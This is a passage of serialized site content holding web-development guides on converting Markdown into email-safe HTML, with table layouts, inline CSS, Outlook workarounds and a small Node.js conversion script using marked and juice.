cellpadding=\"0\" cellspacing=\"0\" style=\"max-width: 600px;\">\n        \u003Ctr>\n          \u003Ctd style=\"font-family: Arial, sans-serif; font-size: 16px; color: #333333; line-height: 1.5;\">\n            \u003C!-- Email content here -->\n          \u003C\u002Ftd>\n        \u003C\u002Ftr>\n      \u003C\u002Ftable>\n    \u003C\u002Ftd>\n  \u003C\u002Ftr>\n\u003C\u002Ftable>\n",[143,148181,148182,148215,148223,148244,148277,148285,148301,148306,148315,148324,148332,148340,148348],{"__ignoreMap":141},[1560,148183,148184,148186,148188,148190,148192,148194,148196,148198,148200,148202,148204,148206,148208,148210,148213],{"class":1562,"line":1563},[1560,148185,6431],{"class":1570},[1560,148187,193],{"class":2484},[1560,148189,10649],{"class":1566},[1560,148191,7297],{"class":1570},[1560,148193,147826],{"class":5634},[1560,148195,126287],{"class":1566},[1560,148197,7297],{"class":1570},[1560,148199,126292],{"class":5634},[1560,148201,126295],{"class":1566},[1560,148203,7297],{"class":1570},[1560,148205,126292],{"class":5634},[1560,148207,11449],{"class":1566},[1560,148209,7297],{"class":1570},[1560,148211,148212],{"class":5634},"\"background-color: #ffffff;\"",[1560,148214,6441],{"class":1570},[1560,148216,148217,148219,148221],{"class":1562,"line":337},[1560,148218,11223],{"class":1570},[1560,148220,199],{"class":2484},[1560,148222,6441],{"class":1570},[1560,148224,148225,148227,148229,148231,148233,148235,148237,148239,148242],{"class":1562,"line":343},[1560,148226,12292],{"class":1570},[1560,148228,216],{"class":2484},[1560,148230,7294],{"class":5159},[1560,148232,7297],{"class":1570},[1560,148234,7300],{"class":5634},[1560,148236,11449],{"class":1566},[1560,148238,7297],{"class":1570},[1560,148240,148241],{"class":5634},"\"padding: 20px;\"",[1560,148243,6441],{"class":1570},[1560,148245,148246,148248,148250,148252,148254,148256,148258,148260,148262,148264,148266,148268,148270,148272,148275],{"class":1562,"line":365},[1560,148247,124434],{"class":1570},[1560,148249,193],{"class":2484},[1560,148251,10649],{"class":1566},[1560,148253,7297],{"class":1570},[1560,148255,10654],{"class":5634},[1560,148257,126287],{"class":1566},[1560,148259,7297],{"class":1570},[1560,148261,126292],{"class":5634},[1560,148263,126295],{"class":1566},[1560,148265,7297],{"class":1570},[1560,148267,126292],{"class":5634},[1560,148269,11449],{"class":1566},[1560,148271,7297],{"class":1570},[1560,148273,148274],{"class":5634},"\"max-width: 600px;\"",[1560,148276,6441],{"class":1570},[1560,148278,148279,148281,148283],{"class":1562,"line":889},[1560,148280,125288],{"class":1570},[1560,148282,199],{"class":2484},[1560,148284,6441],{"class":1570},[1560,148286,148287,148290,148292,148294,148296,148299],{"class":1562,"line":1710},[1560,148288,148289],{"class":1570},"          \u003C",[1560,148291,216],{"class":2484},[1560,148293,11449],{"class":1566},[1560,148295,7297],{"class":1570},[1560,148297,148298],{"class":5634},"\"font-family: Arial, sans-serif; font-size: 16px; color: #333333; line-height: 1.5;\"",[1560,148300,6441],{"class":1570},[1560,148302,148303],{"class":1562,"line":1717},[1560,148304,148305],{"class":1649},"            \u003C!-- Email content here -->\n",[1560,148307,148308,148311,148313],{"class":1562,"line":1747},[1560,148309,148310],{"class":1570},"          \u003C\u002F",[1560,148312,216],{"class":2484},[1560,148314,6441],{"class":1570},[1560,148316,148317,148320,148322],{"class":1562,"line":2507},[1560,148318,148319],{"class":1570},"        \u003C\u002F",[1560,148321,199],{"class":2484},[1560,148323,6441],{"class":1570},[1560,148325,148326,148328,148330],{"class":1562,"line":2524},[1560,148327,125315],{"class":1570},[1560,148329,193],{"class":2484},[1560,148331,6441],{"class":1570},[1560,148333,148334,148336,148338],{"class":1562,"line":2529},[1560,148335,124461],{"class":1570},[1560,148337,216],{"class":2484},[1560,148339,6441],{"class":1570},[1560,148341,148342,148344,148346],{"class":1562,"line":2534},[1560,148343,12331],{"class":1570},[1560,148345,199],{"class":2484},[1560,148347,6441],{"class":1570},[1560,148349,148350,148352,148354],{"class":1562,"line":2542},[1560,148351,11242],{"class":1570},[1560,148353,193],{"class":2484},[1560,148355,6441],{"class":1570},[11,148357,148359],{"id":148358},"outlook-specific-fixes","Outlook-Specific Fixes",[16,148361,148362],{},"Outlook for Windows uses Word's HTML rendering engine, which lacks support for many CSS properties:",[193,148364,148365,148378],{},[196,148366,148367],{},[199,148368,148369,148372,148375],{},[202,148370,148371],{},"CSS Property",[202,148373,148374],{},"Outlook Support",[202,148376,148377],{},"Workaround",[211,148379,148380,148393,148409,148422,148433],{},[199,148381,148382,148386,148388],{},[216,148383,148384],{},[143,148385,17191],{},[216,148387,6117],{},[216,148389,1388,148390],{},[143,148391,148392],{},"\u003Ctable width=\"600\">",[199,148394,148395,148401,148403],{},[216,148396,148397,44235,148399],{},[143,148398,41140],{},[143,148400,69003],{},[216,148402,10731],{},[216,148404,1388,148405,44235,148407],{},[143,148406,41140],{},[143,148408,109890],{},[199,148410,148411,148415,148417],{},[216,148412,148413],{},[143,148414,12578],{},[216,148416,6117],{},[216,148418,1388,148419,148421],{},[143,148420,10900],{}," with absolute URL",[199,148423,148424,148428,148430],{},[216,148425,148426],{},[143,148427,16947],{},[216,148429,6117],{},[216,148431,148432],{},"Accept square corners or VML",[199,148434,148435,148439,148441],{},[216,148436,148437],{},[143,148438,1876],{},[216,148440,10731],{},[216,148442,1388,148443,1856,148446],{},[143,148444,148445],{},"cellpadding",[143,148447,126752],{},[11,148449,3794],{"id":3793},[77,148451,148452,148458,148464,148470,148476],{},[44,148453,148454,148457],{},[47,148455,148456],{},"Convert"," Markdown to HTML with your parser",[44,148459,148460,148463],{},[47,148461,148462],{},"Inline"," all CSS styles",[44,148465,148466,148469],{},[47,148467,148468],{},"Wrap"," content in table-based email layout",[44,148471,148472,148475],{},[47,148473,148474],{},"Test"," with email preview tools (Litmus, Email on Acid)",[44,148477,148478,148481],{},[47,148479,148480],{},"Send"," a test to yourself across Gmail, Outlook, and Apple Mail",[11,148483,1355],{"id":1354},[41,148485,148486,148492,148495,148498,148505,148508],{},[44,148487,148488,148489,148491],{},"Email HTML requires inline styles — ",[143,148490,41299],{}," blocks get stripped by major clients",[44,148493,148494],{},"Use table-based layouts instead of Flexbox or Grid",[44,148496,148497],{},"Convert Markdown lists and headings to table rows for reliable rendering",[44,148499,148500,148501,148504],{},"Code blocks need monospace fonts and ",[143,148502,148503],{},"white-space: pre-wrap"," for email",[44,148506,148507],{},"Outlook for Windows is the most problematic client — test early and often",[44,148509,148510],{},"Always use absolute URLs for links and images in email",[11,148512,286],{"id":285},[16,148514,148515,148516,148519],{},"Convert Markdown to clean HTML instantly with our free ",[98,148517,148518],{"href":34894},"Markdown to HTML Converter",". Paste any Markdown text to get properly formatted HTML output — all processing happens locally in your browser.",[16,148521,148522],{},[98,148523,148524],{"href":34894},"Try the Markdown to HTML Converter →",[2043,148526,148527],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}",{"title":141,"searchDepth":337,"depth":337,"links":148529},[148530,148531,148535,148541,148542,148543,148544,148545],{"id":147494,"depth":337,"text":147495},{"id":147507,"depth":337,"text":147508,"children":148532},[148533,148534],{"id":147511,"depth":343,"text":147512},{"id":147633,"depth":343,"text":147634},{"id":147787,"depth":337,"text":147788,"children":148536},[148537,148538,148539,148540],{"id":147791,"depth":343,"text":147792},{"id":147895,"depth":343,"text":147896},{"id":148027,"depth":343,"text":148028},{"id":148066,"depth":343,"text":148067},{"id":148172,"depth":337,"text":148173},{"id":148358,"depth":337,"text":148359},{"id":3793,"depth":337,"text":3794},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Learn how to convert Markdown to email-compatible HTML. Handle inline styles, table layouts, and Outlook quirks for reliable email rendering.",{"immutable":363},"\u002Fguides\u002Fmarkdown-to-email-html",{"title":147489,"description":148546},"guides\u002Fmarkdown-to-email-html","jGY5GomptzQkU3XId0ZyZWJBgzWbe3t2GofkkeD3eQ8",{"id":148553,"title":148554,"body":148555,"date":2070,"description":149385,"extension":361,"meta":149386,"navigation":363,"path":149387,"readingTime":1710,"seo":149388,"stem":149389,"__hash__":149390},"guides\u002Fguides\u002Fmarkdown-to-html-email.md","Converting Markdown to HTML Email",{"type":8,"value":148556,"toc":149379},[148557,148563,148567,148570,148674,148683,148687,148690,148695,148784,148790,148823,148828,148914,148920,149016,149021,149053,149057,149060,149091,149099,149325,149336,149338,149370,149376],[16,148558,148559,148560,148562],{},"Writing email content in Markdown feels natural — it is fast, readable, and version-controllable. But email clients do not render Markdown, and they barely render modern HTML. Outlook uses Microsoft Word's rendering engine, Gmail strips ",[143,148561,41299],{}," blocks, and mobile clients have their own quirks. Converting Markdown to email-ready HTML means embracing table layouts, inline styles, and a set of constraints that feel like coding for the early 2000s web.",[11,148564,148566],{"id":148565},"why-email-html-is-different","Why Email HTML Is Different",[16,148568,148569],{},"Web browsers support Flexbox, CSS Grid, and external stylesheets. Email clients do not. The following table summarizes what you cannot rely on in email HTML:",[193,148571,148572,148586],{},[196,148573,148574],{},[199,148575,148576,148578,148580,148582,148584],{},[202,148577,5867],{},[202,148579,10807],{},[202,148581,126147],{},[202,148583,10739],{},[202,148585,10839],{},[211,148587,148588,148606,148623,148635,148647,148661],{},[199,148589,148590,148596,148599,148602,148604],{},[216,148591,148592,98763,148594],{},[143,148593,41299],{},[143,148595,13169],{},[216,148597,148598],{},"Strips",[216,148600,148601],{},"Supports",[216,148603,148601],{},[216,148605,148598],{},[199,148607,148608,148615,148617,148619,148621],{},[216,148609,148610,98763,148612],{},[143,148611,41299],{},[143,148613,148614],{},"\u003Cbody>",[216,148616,148598],{},[216,148618,148598],{},[216,148620,148601],{},[216,148622,148598],{},[199,148624,148625,148627,148629,148631,148633],{},[216,148626,67130],{},[216,148628,6117],{},[216,148630,6117],{},[216,148632,10731],{},[216,148634,6117],{},[199,148636,148637,148639,148641,148643,148645],{},[216,148638,65891],{},[216,148640,6117],{},[216,148642,6117],{},[216,148644,3057],{},[216,148646,6117],{},[199,148648,148649,148653,148655,148657,148659],{},[216,148650,148651],{},[143,148652,16947],{},[216,148654,3057],{},[216,148656,6117],{},[216,148658,3057],{},[216,148660,3057],{},[199,148662,148663,148666,148668,148670,148672],{},[216,148664,148665],{},"External CSS",[216,148667,6117],{},[216,148669,6117],{},[216,148671,3057],{},[216,148673,6117],{},[16,148675,148676,148677,148679,148680,148682],{},"The practical consequence is that every visual property must be applied as an inline ",[143,148678,2043],{}," attribute, and every layout must use ",[143,148681,67752],{}," elements. This is not a suggestion — it is the only approach that works consistently across major email clients.",[11,148684,148686],{"id":148685},"converting-markdown-elements-to-email-html","Converting Markdown Elements to Email HTML",[16,148688,148689],{},"Each Markdown construct maps to a specific HTML email pattern. Here is how the most common elements translate:",[16,148691,148692,148694],{},[47,148693,147792],{}," become styled table cells:",[135,148696,148698],{"className":6417,"code":148697,"language":6419,"meta":141,"style":141},"\u003Ctable width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n  \u003Ctr>\n    \u003Ctd style=\"font-family:Arial,sans-serif; font-size:24px; font-weight:bold; color:#1a1a1a; padding-bottom:16px;\">\n      Monthly Update\n    \u003C\u002Ftd>\n  \u003C\u002Ftr>\n\u003C\u002Ftable>\n",[143,148699,148700,148732,148740,148755,148760,148768,148776],{"__ignoreMap":141},[1560,148701,148702,148704,148706,148708,148710,148712,148714,148716,148718,148720,148722,148724,148726,148728,148730],{"class":1562,"line":1563},[1560,148703,6431],{"class":1570},[1560,148705,193],{"class":2484},[1560,148707,10649],{"class":1566},[1560,148709,7297],{"class":1570},[1560,148711,147826],{"class":5634},[1560,148713,126287],{"class":1566},[1560,148715,7297],{"class":1570},[1560,148717,126292],{"class":5634},[1560,148719,126295],{"class":1566},[1560,148721,7297],{"class":1570},[1560,148723,126292],{"class":5634},[1560,148725,126302],{"class":5159},[1560,148727,7297],{"class":1570},[1560,148729,126292],{"class":5634},[1560,148731,6441],{"class":1570},[1560,148733,148734,148736,148738],{"class":1562,"line":337},[1560,148735,11223],{"class":1570},[1560,148737,199],{"class":2484},[1560,148739,6441],{"class":1570},[1560,148741,148742,148744,148746,148748,148750,148753],{"class":1562,"line":343},[1560,148743,12292],{"class":1570},[1560,148745,216],{"class":2484},[1560,148747,11449],{"class":1566},[1560,148749,7297],{"class":1570},[1560,148751,148752],{"class":5634},"\"font-family:Arial,sans-serif; font-size:24px; font-weight:bold; color:#1a1a1a; padding-bottom:16px;\"",[1560,148754,6441],{"class":1570},[1560,148756,148757],{"class":1562,"line":365},[1560,148758,148759],{"class":1570},"      Monthly Update\n",[1560,148761,148762,148764,148766],{"class":1562,"line":889},[1560,148763,124461],{"class":1570},[1560,148765,216],{"class":2484},[1560,148767,6441],{"class":1570},[1560,148769,148770,148772,148774],{"class":1562,"line":1710},[1560,148771,12331],{"class":1570},[1560,148773,199],{"class":2484},[1560,148775,6441],{"class":1570},[1560,148777,148778,148780,148782],{"class":1562,"line":1717},[1560,148779,11242],{"class":1570},[1560,148781,193],{"class":2484},[1560,148783,6441],{"class":1570},[16,148785,148786,148789],{},[47,148787,148788],{},"Paragraphs"," use explicit line-height and margin\":",[135,148791,148793],{"className":6417,"code":148792,"language":6419,"meta":141,"style":141},"\u003Cp style=\"font-family:Arial,sans-serif; font-size:16px; line-height:24px; color:#333333; margin:0 0 16px 0;\">\n  Here is your monthly summary of project milestones and upcoming deadlines.\n\u003C\u002Fp>\n",[143,148794,148795,148810,148815],{"__ignoreMap":141},[1560,148796,148797,148799,148801,148803,148805,148808],{"class":1562,"line":1563},[1560,148798,6431],{"class":1570},[1560,148800,16],{"class":2484},[1560,148802,11449],{"class":1566},[1560,148804,7297],{"class":1570},[1560,148806,148807],{"class":5634},"\"font-family:Arial,sans-serif; font-size:16px; line-height:24px; color:#333333; margin:0 0 16px 0;\"",[1560,148809,6441],{"class":1570},[1560,148811,148812],{"class":1562,"line":337},[1560,148813,148814],{"class":1570},"  Here is your monthly summary of project milestones and upcoming deadlines.\n",[1560,148816,148817,148819,148821],{"class":1562,"line":343},[1560,148818,11242],{"class":1570},[1560,148820,16],{"class":2484},[1560,148822,6441],{"class":1570},[16,148824,148825,148827],{},[47,148826,147896],{}," must be explicitly styled because some clients reset list indentation:",[135,148829,148831],{"className":6417,"code":148830,"language":6419,"meta":141,"style":141},"\u003Cul style=\"font-family:Arial,sans-serif; font-size:16px; color:#333333; padding-left:20px; margin:0 0 16px 0;\">\n  \u003Cli style=\"margin-bottom:8px;\">Deployed authentication service v2.1\u003C\u002Fli>\n  \u003Cli style=\"margin-bottom:8px;\">Completed security audit for payment module\u003C\u002Fli>\n  \u003Cli style=\"margin-bottom:8px;\">Onboarded three new engineering contractors\u003C\u002Fli>\n\u003C\u002Ful>\n",[143,148832,148833,148848,148868,148887,148906],{"__ignoreMap":141},[1560,148834,148835,148837,148839,148841,148843,148846],{"class":1562,"line":1563},[1560,148836,6431],{"class":1570},[1560,148838,41],{"class":2484},[1560,148840,11449],{"class":1566},[1560,148842,7297],{"class":1570},[1560,148844,148845],{"class":5634},"\"font-family:Arial,sans-serif; font-size:16px; color:#333333; padding-left:20px; margin:0 0 16px 0;\"",[1560,148847,6441],{"class":1570},[1560,148849,148850,148852,148854,148856,148858,148861,148864,148866],{"class":1562,"line":337},[1560,148851,11223],{"class":1570},[1560,148853,44],{"class":2484},[1560,148855,11449],{"class":1566},[1560,148857,7297],{"class":1570},[1560,148859,148860],{"class":5634},"\"margin-bottom:8px;\"",[1560,148862,148863],{"class":1570},">Deployed authentication service v2.1\u003C\u002F",[1560,148865,44],{"class":2484},[1560,148867,6441],{"class":1570},[1560,148869,148870,148872,148874,148876,148878,148880,148883,148885],{"class":1562,"line":343},[1560,148871,11223],{"class":1570},[1560,148873,44],{"class":2484},[1560,148875,11449],{"class":1566},[1560,148877,7297],{"class":1570},[1560,148879,148860],{"class":5634},[1560,148881,148882],{"class":1570},">Completed security audit for payment module\u003C\u002F",[1560,148884,44],{"class":2484},[1560,148886,6441],{"class":1570},[1560,148888,148889,148891,148893,148895,148897,148899,148902,148904],{"class":1562,"line":365},[1560,148890,11223],{"class":1570},[1560,148892,44],{"class":2484},[1560,148894,11449],{"class":1566},[1560,148896,7297],{"class":1570},[1560,148898,148860],{"class":5634},[1560,148900,148901],{"class":1570},">Onboarded three new engineering contractors\u003C\u002F",[1560,148903,44],{"class":2484},[1560,148905,6441],{"class":1570},[1560,148907,148908,148910,148912],{"class":1562,"line":889},[1560,148909,11242],{"class":1570},[1560,148911,41],{"class":2484},[1560,148913,6441],{"class":1570},[16,148915,148916,148919],{},[47,148917,148918],{},"Code blocks"," need monospace fonts and background colors inline:",[135,148921,148923],{"className":6417,"code":148922,"language":6419,"meta":141,"style":141},"\u003Ctable width=\"100%\" cellpadding=\"12\" cellspacing=\"0\" border=\"0\" style=\"background-color:#f4f4f4; border-radius:4px;\">\n  \u003Ctr>\n    \u003Ctd style=\"font-family:'Courier New',monospace; font-size:14px; color:#333333;\">\n      npm run build --production\n    \u003C\u002Ftd>\n  \u003C\u002Ftr>\n\u003C\u002Ftable>\n",[143,148924,148925,148964,148972,148987,148992,149000,149008],{"__ignoreMap":141},[1560,148926,148927,148929,148931,148933,148935,148937,148939,148941,148943,148945,148947,148949,148951,148953,148955,148957,148959,148962],{"class":1562,"line":1563},[1560,148928,6431],{"class":1570},[1560,148930,193],{"class":2484},[1560,148932,10649],{"class":1566},[1560,148934,7297],{"class":1570},[1560,148936,147826],{"class":5634},[1560,148938,126287],{"class":1566},[1560,148940,7297],{"class":1570},[1560,148942,12303],{"class":5634},[1560,148944,126295],{"class":1566},[1560,148946,7297],{"class":1570},[1560,148948,126292],{"class":5634},[1560,148950,126302],{"class":5159},[1560,148952,7297],{"class":1570},[1560,148954,126292],{"class":5634},[1560,148956,11449],{"class":1566},[1560,148958,7297],{"class":1570},[1560,148960,148961],{"class":5634},"\"background-color:#f4f4f4; border-radius:4px;\"",[1560,148963,6441],{"class":1570},[1560,148965,148966,148968,148970],{"class":1562,"line":337},[1560,148967,11223],{"class":1570},[1560,148969,199],{"class":2484},[1560,148971,6441],{"class":1570},[1560,148973,148974,148976,148978,148980,148982,148985],{"class":1562,"line":343},[1560,148975,12292],{"class":1570},[1560,148977,216],{"class":2484},[1560,148979,11449],{"class":1566},[1560,148981,7297],{"class":1570},[1560,148983,148984],{"class":5634},"\"font-family:'Courier New',monospace; font-size:14px; color:#333333;\"",[1560,148986,6441],{"class":1570},[1560,148988,148989],{"class":1562,"line":365},[1560,148990,148991],{"class":1570},"      npm run build --production\n",[1560,148993,148994,148996,148998],{"class":1562,"line":889},[1560,148995,124461],{"class":1570},[1560,148997,216],{"class":2484},[1560,148999,6441],{"class":1570},[1560,149001,149002,149004,149006],{"class":1562,"line":1710},[1560,149003,12331],{"class":1570},[1560,149005,199],{"class":2484},[1560,149007,6441],{"class":1570},[1560,149009,149010,149012,149014],{"class":1562,"line":1717},[1560,149011,11242],{"class":1570},[1560,149013,193],{"class":2484},[1560,149015,6441],{"class":1570},[16,149017,149018,149020],{},[47,149019,148028],{}," should include both inline color styling and underline control, since some clients override link colors:",[135,149022,149024],{"className":6417,"code":149023,"language":6419,"meta":141,"style":141},"\u003Ca href=\"https:\u002F\u002Fexample.com\" style=\"color:#0066cc; text-decoration:underline;\">View full report\u003C\u002Fa>\n",[143,149025,149026],{"__ignoreMap":141},[1560,149027,149028,149030,149032,149034,149036,149039,149041,149043,149046,149049,149051],{"class":1562,"line":1563},[1560,149029,6431],{"class":1570},[1560,149031,98],{"class":2484},[1560,149033,41004],{"class":1566},[1560,149035,7297],{"class":1570},[1560,149037,149038],{"class":5634},"\"https:\u002F\u002Fexample.com\"",[1560,149040,11449],{"class":1566},[1560,149042,7297],{"class":1570},[1560,149044,149045],{"class":5634},"\"color:#0066cc; text-decoration:underline;\"",[1560,149047,149048],{"class":1570},">View full report\u003C\u002F",[1560,149050,98],{"class":2484},[1560,149052,6441],{"class":1570},[11,149054,149056],{"id":149055},"building-a-conversion-pipeline","Building a Conversion Pipeline",[16,149058,149059],{},"Manually converting Markdown to email HTML is tedious. A practical pipeline automates the heavy lifting:",[77,149061,149062,149074,149080,149086],{},[44,149063,149064,149067,149068,1459,149070,1877,149072],{},[47,149065,149066],{},"Parse Markdown to HTML"," using a library like ",[143,149069,145763],{},[143,149071,146736],{},[143,149073,146739],{},[44,149075,149076,149079],{},[47,149077,149078],{},"Apply email-safe transformations"," — wrap blocks in tables, inline all styles",[44,149081,149082,149085],{},[47,149083,149084],{},"Inline CSS"," using a tool like Juice or Premailer",[44,149087,149088,149090],{},[47,149089,148474],{}," across email clients using Litmus or Email on Acid",[16,149092,149093,149094,1856,149096,8037],{},"Here is a Node.js script using ",[143,149095,145763],{},[143,149097,149098],{},"juice",[135,149100,149102],{"className":1607,"code":149101,"language":1609,"meta":141,"style":141},"import { marked } from 'marked'\nimport juice from 'juice'\nimport fs from 'fs'\n\nconst markdown = fs.readFileSync('newsletter.md', 'utf-8')\nconst htmlBody = marked.parse(markdown)\n\nconst emailHtml = `\n\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\u003Cmeta charset=\"utf-8\">\u003C\u002Fhead>\n\u003Cbody style=\"margin:0; padding:0; background-color:#f9f9f9;\">\n  \u003Ctable width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n    \u003Ctr>\n      \u003Ctd align=\"center\" style=\"padding:32px 0;\">\n        \u003Ctable width=\"600\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\" style=\"background-color:#ffffff;\">\n          \u003Ctr>\u003Ctd style=\"padding:32px;\">\n            ${htmlBody}\n          \u003C\u002Ftd>\u003C\u002Ftr>\n        \u003C\u002Ftable>\n      \u003C\u002Ftd>\n    \u003C\u002Ftr>\n  \u003C\u002Ftable>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>`\n\nconst inlined = juice(emailHtml, { preserveMediaQueries: true })\nfs.writeFileSync('newsletter.html', inlined)\n",[143,149103,149104,149116,149128,149140,149144,149168,149184,149188,149199,149204,149208,149213,149218,149223,149228,149233,149238,149243,149253,149258,149263,149268,149273,149278,149282,149287,149291,149309],{"__ignoreMap":141},[1560,149105,149106,149108,149111,149113],{"class":1562,"line":1563},[1560,149107,8162],{"class":1669},[1560,149109,149110],{"class":1570}," { marked } ",[1560,149112,8168],{"class":1669},[1560,149114,149115],{"class":5634}," 'marked'\n",[1560,149117,149118,149120,149123,149125],{"class":1562,"line":337},[1560,149119,8162],{"class":1669},[1560,149121,149122],{"class":1570}," juice ",[1560,149124,8168],{"class":1669},[1560,149126,149127],{"class":5634}," 'juice'\n",[1560,149129,149130,149132,149135,149137],{"class":1562,"line":343},[1560,149131,8162],{"class":1669},[1560,149133,149134],{"class":1570}," fs ",[1560,149136,8168],{"class":1669},[1560,149138,149139],{"class":5634}," 'fs'\n",[1560,149141,149142],{"class":1562,"line":365},[1560,149143,1702],{"emptyLinePlaceholder":363},[1560,149145,149146,149148,149150,149152,149154,149156,149158,149161,149163,149166],{"class":1562,"line":889},[1560,149147,8180],{"class":1669},[1560,149149,147551],{"class":1576},[1560,149151,8186],{"class":1669},[1560,149153,131032],{"class":1570},[1560,149155,131035],{"class":1566},[1560,149157,1688],{"class":1570},[1560,149159,149160],{"class":5634},"'newsletter.md'",[1560,149162,1459],{"class":1570},[1560,149164,149165],{"class":5634},"'utf-8'",[1560,149167,8252],{"class":1570},[1560,149169,149170,149172,149175,149177,149179,149181],{"class":1562,"line":1710},[1560,149171,8180],{"class":1669},[1560,149173,149174],{"class":1576}," htmlBody",[1560,149176,8186],{"class":1669},[1560,149178,145925],{"class":1570},[1560,149180,80838],{"class":1566},[1560,149182,149183],{"class":1570},"(markdown)\n",[1560,149185,149186],{"class":1562,"line":1717},[1560,149187,1702],{"emptyLinePlaceholder":363},[1560,149189,149190,149192,149195,149197],{"class":1562,"line":1747},[1560,149191,8180],{"class":1669},[1560,149193,149194],{"class":1576}," emailHtml",[1560,149196,8186],{"class":1669},[1560,149198,9198],{"class":5634},[1560,149200,149201],{"class":1562,"line":2507},[1560,149202,149203],{"class":5634},"\u003C!DOCTYPE html>\n",[1560,149205,149206],{"class":1562,"line":2524},[1560,149207,147686],{"class":5634},[1560,149209,149210],{"class":1562,"line":2529},[1560,149211,149212],{"class":5634},"\u003Chead>\u003Cmeta charset=\"utf-8\">\u003C\u002Fhead>\n",[1560,149214,149215],{"class":1562,"line":2534},[1560,149216,149217],{"class":5634},"\u003Cbody style=\"margin:0; padding:0; background-color:#f9f9f9;\">\n",[1560,149219,149220],{"class":1562,"line":2542},[1560,149221,149222],{"class":5634},"  \u003Ctable width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n",[1560,149224,149225],{"class":1562,"line":2558},[1560,149226,149227],{"class":5634},"    \u003Ctr>\n",[1560,149229,149230],{"class":1562,"line":2570},[1560,149231,149232],{"class":5634},"      \u003Ctd align=\"center\" style=\"padding:32px 0;\">\n",[1560,149234,149235],{"class":1562,"line":6638},[1560,149236,149237],{"class":5634},"        \u003Ctable width=\"600\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\" style=\"background-color:#ffffff;\">\n",[1560,149239,149240],{"class":1562,"line":11615},[1560,149241,149242],{"class":5634},"          \u003Ctr>\u003Ctd style=\"padding:32px;\">\n",[1560,149244,149245,149248,149251],{"class":1562,"line":11621},[1560,149246,149247],{"class":5634},"            ${",[1560,149249,149250],{"class":1570},"htmlBody",[1560,149252,1585],{"class":5634},[1560,149254,149255],{"class":1562,"line":11633},[1560,149256,149257],{"class":5634},"          \u003C\u002Ftd>\u003C\u002Ftr>\n",[1560,149259,149260],{"class":1562,"line":11638},[1560,149261,149262],{"class":5634},"        \u003C\u002Ftable>\n",[1560,149264,149265],{"class":1562,"line":11672},[1560,149266,149267],{"class":5634},"      \u003C\u002Ftd>\n",[1560,149269,149270],{"class":1562,"line":19435},[1560,149271,149272],{"class":5634},"    \u003C\u002Ftr>\n",[1560,149274,149275],{"class":1562,"line":19442},[1560,149276,149277],{"class":5634},"  \u003C\u002Ftable>\n",[1560,149279,149280],{"class":1562,"line":19475},[1560,149281,147750],{"class":5634},[1560,149283,149284],{"class":1562,"line":19508},[1560,149285,149286],{"class":5634},"\u003C\u002Fhtml>`\n",[1560,149288,149289],{"class":1562,"line":44196},[1560,149290,1702],{"emptyLinePlaceholder":363},[1560,149292,149293,149295,149298,149300,149302,149305,149307],{"class":1562,"line":44203},[1560,149294,8180],{"class":1669},[1560,149296,149297],{"class":1576}," inlined",[1560,149299,8186],{"class":1669},[1560,149301,147655],{"class":1566},[1560,149303,149304],{"class":1570},"(emailHtml, { preserveMediaQueries: ",[1560,149306,20533],{"class":1576},[1560,149308,8206],{"class":1570},[1560,149310,149311,149314,149317,149319,149322],{"class":1562,"line":44220},[1560,149312,149313],{"class":1570},"fs.",[1560,149315,149316],{"class":1566},"writeFileSync",[1560,149318,1688],{"class":1570},[1560,149320,149321],{"class":5634},"'newsletter.html'",[1560,149323,149324],{"class":1570},", inlined)\n",[16,149326,421,149327,149329,149330,149332,149333,149335],{},[143,149328,149098],{}," call is critical — it moves all CSS from ",[143,149331,41299],{}," blocks into inline ",[143,149334,2043],{}," attributes, which is the only reliable way to style emails across clients.",[11,149337,10393],{"id":10392},[41,149339,149340,149346,149352,149358],{},[44,149341,149342,149345],{},[47,149343,149344],{},"Relative image paths"," will not work in emails. All images must use absolute URLs to hosted assets.",[44,149347,149348,149351],{},[47,149349,149350],{},"Web fonts"," are unsupported in most email clients. Use Arial, Georgia, Times New Roman, or Verdana as your font stack.",[44,149353,149354,149357],{},[47,149355,149356],{},"Background images"," do not work in Outlook. Use solid background colors instead.",[44,149359,149360,149363,149364,149366,149367,149369],{},[47,149361,149362],{},"Responsive design"," in email relies on ",[143,149365,17186],{}," queries in a ",[143,149368,41299],{}," block, which Gmail strips. Use fluid-width tables with percentage widths as a fallback.",[16,149371,149372,149373,149375],{},"The gap between Markdown's simplicity and email HTML's complexity is significant, but a conversion pipeline closes it. Start by converting your Markdown to clean HTML with our tool at ",[98,149374,34894],{"href":34894},", then 